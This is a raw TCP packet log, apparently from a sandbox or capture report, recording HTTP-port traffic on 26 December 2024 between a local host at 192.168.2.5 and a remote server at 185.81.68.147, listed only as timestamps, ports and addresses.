Dec 26, 2024 12:05:09.349271059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.350120068 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.350188017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.350224018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.351090908 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.351128101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.351161957 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.351197004 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.352137089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.352174044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.352247953 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.352282047 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.353149891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.353188038 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.353262901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.353296041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.354182959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.354290962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.354330063 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.355227947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.355263948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.355278969 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.355310917 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.356194019 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.356236935 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.434286118 CET	80	49711	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.513065100 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.513089895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.513108969 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.513149977 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.513567924 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.513602972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.513664961 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.513700962 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.514523983 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.514556885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.514619112 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.514652967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.515546083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.515583992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.515748024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.515796900 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.516624928 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.516658068 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.516702890 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.516736984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.517582893 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.517616987 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.517702103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.517734051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.518624067 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.518657923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.518717051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.518750906 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.519666910 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.519702911 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.519752026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.519785881 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.520719051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.520754099 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.520787954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.520822048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.521719933 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.521755934 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.521791935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.521827936 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.522713900 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.522756100 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.522792101 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.522828102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.523756981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.523791075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.523857117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.523890018 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.524744987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.524781942 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.525075912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.525114059 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.525784016 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.525818110 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.525891066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.525924921 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529077053 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529110909 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529164076 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529176950 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529198885 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529213905 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529279947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529314041 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529319048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529333115 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.529350042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.529366970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.531271935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.531308889 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.531369925 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.531383038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.531404972 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.531420946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.531497955 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.531529903 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.532439947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.532475948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.532531023 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.532566071 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.533062935 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.533082962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.533101082 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.533116102 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.534008026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.534043074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.534081936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.534113884 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.535037041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.535073042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.535160065 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.535195112 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.536062002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.536098957 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.536169052 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.536201954 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.537132025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.537168026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.537211895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.537245989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.538089037 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.538130045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.538153887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.538189888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.539149046 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.539187908 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.539222002 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.539258003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.540204048 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.540241003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.540278912 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.540313959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.541172981 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.541205883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.541280031 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.541315079 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.542244911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.542283058 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.542335987 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.542371988 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.543235064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.543275118 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.543333054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.543369055 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.544233084 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.544270992 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.544414997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.544450045 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.545308113 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.545351982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.545422077 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.545458078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.546339035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.546380997 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.546446085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.546482086 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.547384024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.547404051 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.547424078 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.547441959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.548340082 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.548377037 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.548449993 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.548521996 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.549365997 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.549407005 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.549484968 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.549515963 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.550441980 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.550477982 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.550569057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.550602913 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.551436901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.551474094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.551537991 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.551570892 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.552464008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.552505016 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.552546978 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.552582026 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.553502083 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.553538084 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.553607941 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.553642035 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.554498911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.554532051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.554600954 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.554635048 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.555569887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.555605888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.555753946 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.555788994 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.556595087 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.556629896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.556682110 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.556718111 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.557590008 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.557622910 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.557714939 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.557746887 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.558661938 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.558696985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.558721066 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.558753967 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.559650898 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.559685946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.559724092 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.559760094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.560645103 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.560678959 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.560761929 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.560798883 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.561669111 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.561707973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.561753035 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.561783075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.562756062 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.562793970 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.562859058 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.562892914 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.563685894 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.563728094 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.563832998 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.563868046 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.564774990 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.564815998 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.564917088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.564954042 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.565782070 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.565819025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.565854073 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.565887928 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.566768885 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.566807032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.723697901 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.723756075 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.723813057 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.723850012 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.724085093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.724138975 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.724159956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.724193096 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.724852085 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.724886894 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.724925995 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.724958897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.725864887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.725898981 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.725986958 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.726020098 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.726888895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.726924896 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.726989985 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.727025032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.727946043 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.728008032 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.728037119 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.728082895 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.728966951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.729001999 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.729089022 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.729121923 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.730015039 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.730050087 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.730122089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.730158091 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.731127024 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.731163979 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.731242895 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.731276989 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.732027054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.732062101 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.732140064 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.732176065 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.733063936 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.733098984 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.733167887 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.733203888 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.734054089 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.734088898 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.734122038 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.734154940 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.735075951 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.735110044 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.735187054 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.735219955 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.736114025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.736148119 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.736222029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.736254930 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.737133026 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.737168074 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.737243891 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.737277985 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.738162041 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.738199949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.738241911 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.738275051 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.739252090 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.739285946 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.739326000 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.739362001 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.740257025 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.740292072 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.740320921 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.740358114 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.741261005 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.741300106 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.741364956 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.741400003 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.742270947 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.742306948 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.742352962 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.742387056 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.743292093 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.743325949 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.743349075 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.743381023 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.744314909 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.744354010 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.744421959 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.744457960 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.745378017 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.745414019 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.745445967 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.745480061 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.746364117 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.746402025 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.746483088 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.746517897 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.747383118 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.747416973 CET	49708	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:09.747493029 CET	80	49708	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:09.747525930 CET	49708	80	192.168.2.5	185.81.68.147
